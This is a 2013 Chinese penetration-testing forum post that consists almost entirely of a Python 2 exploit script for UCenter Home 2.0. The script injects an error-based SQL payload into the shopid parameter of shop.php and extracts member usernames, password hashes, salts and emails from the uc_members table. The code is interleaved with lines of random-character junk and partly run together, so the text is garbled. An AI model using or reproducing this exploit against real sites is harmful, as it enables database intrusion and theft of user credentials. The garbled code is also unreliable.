中国网络渗透测试联盟
标题:
UCenter Home 2.0 EXP
[打印本页]
作者:
admin
时间:
2013-1-23 09:18
标题:
UCenter Home 2.0 EXP
#!/usr/bin/envpython importsys importurllib2 importre definfo(): print'From:
http://www.exploit-db.com/exploits/14997/'
print 'http://www.hake.cc/Web_loudong/' print'changed:qiaoy' print'exp:' print'./UCenter_Home_2.0.pysite' defmain(): ifl
" }! f" U% K* X( S1 |
5 _+ f! s+ y" d$ @7 q
; t# \9 K1 c) P0 g2 e
#!/usr/bin/env python
/ L5 {& |' N+ ~' c: r
' l' C: X. j8 \; R9 x
import sys
/ @4 O& q6 S7 s
import urllib2
; ^3 T) D; r7 j2 l) h( Q
import re
8 b7 L$ ^. n# D+ Z, N7 e) \& F
' S& R: u' |& L$ Z
def info():
. W& m: a/ V' Y& \4 H
print 'From:
http://www.exploit-db.com/exploits/14997/'
8 ?7 a9 t3 B4 ?* j w7 G
print 'http://www.hake.cc/Web_loudong/'
- Y) m9 B9 }% i) A+ \
print 'changed:qiaoy'
) U$ T5 C# R/ l! b1 t* M
print 'exp:'
* B) ^5 ~3 ]4 z9 @$ e
print ' ./UCenter_Home_2.0.py site'
' h9 K& O9 e; U
+ m/ \- n; L& G& I0 B" K3 [' P
def main():
4 A7 Z: R5 ]" M' [/ p# q6 M, K9 {( Z
if len(sys.argv) != 2:
+ M1 f9 m& O; [" R9 V
info()
, P8 i1 Q6 p! o% R& _
else:
- n+ g8 T( f$ ~) }0 E, X8 N
site = sys.argv[1]
4 i8 {, S5 u* e9 B
if site[0:7] == 'http://':
; \7 j1 J! y, @. R
sitesite =site
$ Z7 K2 f7 d: L O
elif site[0:8] == 'https://':
. f" k: M$ F# m" G
sitesite = site
, l5 w+ Y/ `4 z- \% k" ]; r% L
else:
$ p5 j* g; B9 L' S8 g9 X, s8 `
site = 'http://'+site
. g3 k, W+ H* |5 N- z
try:
# n! R4 i2 }& G p4 N6 b
url = site+'/shop.php?ac=view&shopid=50534+and+(select+1+from(select+count(*),concat((select+(select+(select+concat(0x7e,0x27,cast(concat(uid,0x3a,username,0x3a,password,0x3a,salt,0x3a,email)+as+char),0x27,0x7e)+from+ucenter.uc_members+LIMIT+0,1))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+11=1'
9 f" B5 [; e' f1 |, L' X6 N5 R; Z$ X
Value = urllib2.urlopen(url).read()
9 B: \9 O V) q' j: |1 V, C a
Msg = re.findall(r'Duplicate entry \'~\'(.*?)\' for key',Value)[0]
7 }& H$ J: d3 H$ V
hacked = Msg.split(':')
( C X( j, ]* S1 c+ }7 i' _2 ~% }8 F
print 'Name: '+hacked[1]
' n- a8 j2 p |% P8 s+ Y
print 'Passwd: '+hacked[2]
, D. k r. U- s1 X ~& z% f2 `3 n
print 'salt: '+hacked[3]
( w7 _( r8 x+ O" @
print 'email: '+hacked[4]
! F, ^& ~% ?( |+ a9 Q0 B8 k2 o
except:
6 c( J. ^0 J5 k! M! l) ?) {, p$ a3 ?" S9 \
print 'Sorry,I can\'t work............'
+ i0 p# E; H( S! B# E5 S( m
: W% ?( {4 T( D1 d0 G1 [, y
if __name__ == '__main__':
2 q, H) Q$ I' e
main()
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2